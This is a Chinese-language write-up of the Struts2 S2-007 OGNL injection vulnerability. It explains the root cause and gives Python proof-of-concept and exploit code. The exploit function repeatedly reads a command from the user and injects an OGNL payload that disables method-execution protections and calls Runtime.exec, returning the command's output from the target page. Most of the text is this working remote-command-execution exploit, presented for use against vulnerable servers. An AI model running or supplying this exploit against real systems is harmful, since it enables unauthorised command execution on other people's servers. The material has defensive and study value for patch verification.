漏洞原理
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 “’” + value + “’” 然后对其进行 OGNL
表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意OGNL 表达式。
影响版本:Struts2 2.0.0 - Struts2 2.2.3
漏洞的利用过程网上有很多文章,在实验环境下。试图尽量接近实验环境进行编写poc,因此在这次的poc编写的时候,是利用BeautifulSoup获取input标签中的value的值赋值给data,再进行post。
def s2_007(url):
# 影响版本: 2.0.0 - 2.2.3
data = {
list[0]: '1',
list[1]: '1',
list[2]: '\'+(1+1)+\''
}
s1 = requests.post(url=url, data=data, headers=headers)
page = BeautifulSoup(s1.text, 'lxml')
find_key = page.find_all("input")
for i in find_key:
if '11' in i.attrs['value']:
print("存在s2-007漏洞")
s2_007exp(url)
else:
pass
而exp则是直接调用执行命令的语句,但是这里的单引号和双引号的问题很困恼,因此利用外写添加进去。
def s2_007exp(url):
while True:
exec = input("exec:")
payload = '\' + (#_memberAccess["allowStaticMethodAccess"]=true,'
payload += '#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,'
payload += '@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\'{}'.format(exec)
payload += '\').getInputStream())) + \''
data = {
list[0]: '1',
list[1]: '1',
list[2]: payload
}
s = requests.post(url=url, data=data, headers=headers)
page1 = BeautifulSoup(s.text, 'lxml')
find_key1 = page1.find_all("input")
print(find_key1[2]['value'])
自动化获取value的值代码为:
list = []
s = requests.post(url=url, headers=headers)
soup = BeautifulSoup(s.text, 'lxml')
vule1 = soup.find_all("input")
for i in vule1:
if not i.attrs['value']:
a = i.attrs['name']
list.append(a)
else:
pass
完整代码放在了https://github.com/cve-2020/jiaoben